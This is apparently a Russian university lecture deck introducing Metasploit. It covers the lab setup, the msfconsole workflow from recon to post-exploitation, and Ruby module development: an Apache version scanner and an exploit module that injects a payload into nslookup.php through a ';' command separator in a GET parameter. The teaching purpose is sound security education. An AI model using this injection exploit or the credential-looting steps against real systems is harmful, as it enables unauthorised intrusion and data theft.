Основы построения защищенных компьютерных сетей

Лекция 6
Metasploit. Введение

Семён Новосёлов

2026

CRYPTO KANTIANA SCIENTIFIC LABORATORY

БФУ ИМЕНИ И. КАНТА

Что нам потребуется?

- VirtualBox
  https://www.virtualbox.org/
- Metasploitable 2
  https://sourceforge.net/projects/metasploitable/
- Metasploit
  https://www.metasploit.com/
- Nmap
  https://nmap.org/

есть в составе Kali Linux
https://www.kali.org/get-kali/

Metasploit Framework

www.metasploit.com

Фреймворк для пентеста и разработки эксплойтов

- Разработчик: Rapid7
- Есть две версии:
  - консольная
  - Web-интерфейс (Pro)
- Написан на Ruby

Запуск:
msfconsole

Модули Metasploit

exploits — модули для эксплуатации уязвимостей

auxiliary — модули для сбора информации, сканеры, ...

payload — полезная нагрузка эксплойтов

post — модули для постэксплуатации (сбор логинов, паролей, хешей, ...)

Поиск/использование/настройка:
search [ключевое_слово]
use [модуль]
show options
set [опция] [значение]
run

Порядок работы

1. Разведка: Сканирование целевой сети или хоста
   - модули из раздела auxiliary
   - сканер Nmap (команда db_nmap)
2. Выбор и настройка эксплойта:
   - поиск и выбор подходящих модулей: search / use
   - установка настроек: show options / set
3. Запуск эксплойта
4. Постэксплуатация
   - выполнение команд на цели
   - вытаскивание данных из цели (модули post)

База данных MSF

- Используется для хранения результатов работы модулей (обычно postgresql)
  - хосты, информация о версиях ПО на них
  - подобранные пароли и т.д.

Первый запуск

```
service postgresql start
msfdb init
msfconsole
db_status
```

Последующие запуски

```
service postgresql start
msfconsole
db_status
```

Работа с базой данных

db_nmap сканирование сети с помощью nmap и запись результатов в базу

creds вывод ключевой информации (логины, пароли, хэши, …)

loot собранная информация (дампы баз, пользовательская история и т.п.)

hosts список хостов

services список сервисов их версий

vulns найденные уязвимости

notes заметки (остальная полезная информация)

Аудит виртуальной машины с Metasploitable

Metasploitable 2
https://sourceforge.net/projects/metasploitable/

Специализированная виртуальная машина для тренировки проведения тестовых вторжений.

Справка: Команды msfconsole

Общие команды

`help, quit, exit`

`set/setg` установка параметров

`show` вывод списка модулей и опций

`show exploits, show payloads, ...`

`reload_all` обновить список модулей

> нераспознанные команды передаются в ОС

Использование модулей

`search` поиск модулей по ключевым словам

`use` загрузка модуля

`use exploit/unix/ftp/vsftpd_234_backdoor`

`show options` вывод опций модуля

`show payloads` вывод поддерживаемой целевой нагрузки

`show targets` вывод поддерживаемых целей

`edit` редактирование исходного кода модуля в редакторе

`info` вывод информации о модуле

`check` проверка цели на уязвимость без использования

`run` запуск модуля на выполнение

Разработка модулей

Metasploit — это также фреймворк для разработки эксплойтов.

Расположение модулей:

- Главное дерево модулей:
  /usr/share/metasploit-framework/modules/
- Пользовательское:
  ~/.msf4/modules/
- Дополнительные пути можно указать ключом -m:
  msfconsole -m ./modules

Пример 1. Разработка простого сканера

Задача: Написать сканер, который сканирует сеть на наличие уязвимых версий сервера Apache.

- Факт наличия уязвимости проверяется по версии в http-заголовках.
- За основу возьмем модуль: auxiliary/scanner/http/http_version

Скелет модуля

```ruby
require 'rex/proto/http'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super('Name' => 'Apache Vulnerability scanner',
      # ...
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'The URI to use', '/'])
    ])
  end
```

Инициализация

```ruby
  def run_host(ip)
    begin
      connect
      res = send_request_raw({
        'uri' => datastore['TARGETURI'],
        'method' => 'GET'
       })
       # ...
    end
    rescue ::Timeout::Error, ::Errno::EPIPE
    ensure
      disconnect
    end
  end
end
```

Метод, выполняемый для каждого хоста (в RHOSTS)

Функция для проверки на уязвимость

```
def run_host(ip)
   begin
     connect
     res = send_request_raw({ 'uri' => datastore['TARGETURI'], 'method' => 'GET' })
     fp = http_fingerprint(:response => res)
     print_good("#{ip}:#{rport} #{fp}") if fp
     report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp)
     if fp && fp =~ /Apache\/([0-9]+)\.([0-9]+)\.?([0-9]+)?/i
       major = $1.to_i; minor = $2.to_i; patch = $3.to_i
       version = "#{major}.#{minor}.#{patch.to_i}"
       apache_vulns = []
       if major == 2 && minor.between?(0,4) && patch.between?(0,53)
          apache_vulns.push "CVE-2022-31813"
       end
       if apache_vulns.size > 0
          print_good("#{ip}: apache #{version} - " + apache_vulns.join(", "))
          report_vuln(:host => ip, :port => rport, :name => "Vulnerable Apache version: #{version}",
                      :refs => apache_vulns)
       else
          print_status("#{ip}: Apache #{version} - not vulnerable")
       end
     end
     # ...
```

Пример 2. Разработка эксплойта

Задача: Написать эксплойт к уязвимости в скрипте nslookup.php.

- За основу возьмем модуль: modules/exploits/example_webapp.rb

Функция проверки на уязвимость

```
def check
    begin
      res = send_request_cgi(
        'uri'       => datastore["TARGETURI"],
        'method'    => 'GET'
      )
      Exploit::CheckCode::Appears
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    Exploit::CheckCode::Safe
  end
```

- просто проверяем, что удаётся подключится

Функция запуска эксплойта

```
def exploit
    begin
      vprint_status('Attempting exploit')
      res = send_request_cgi(
        "uri"      => normalize_uri(datastore["TARGETURI"]),
        "vars_get" => { "domain"=> ".1; " + payload.encoded},
        "method"   => 'GET'
      )

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
```

Инициализация

```
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        # ...
        'Platform'       => ['unix'],
        'Arch'           => [ARCH_CMD],
        # ...
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the
Example Application', '/nslookup.php'])
      ], self.class
    )
  end
```

Выбор полезной нагрузки зависит от данных значений:
show payloads

Литература и ссылки

- Документация к MSF: https://docs.rapid7.com/metasploit/
- Курс Metasploit Unleashed, включающий в себя разработку модулей: https://www.offensive-security.com/metasploit-unleashed/
- Интерактивные курсы по Ruby:
  - Try Ruby (https://try.ruby-lang.org/)
  - Ruby Monk (https://rubymonk.com/)
  - Codecademy (https://www.codecademy.com/learn/learn-ruby)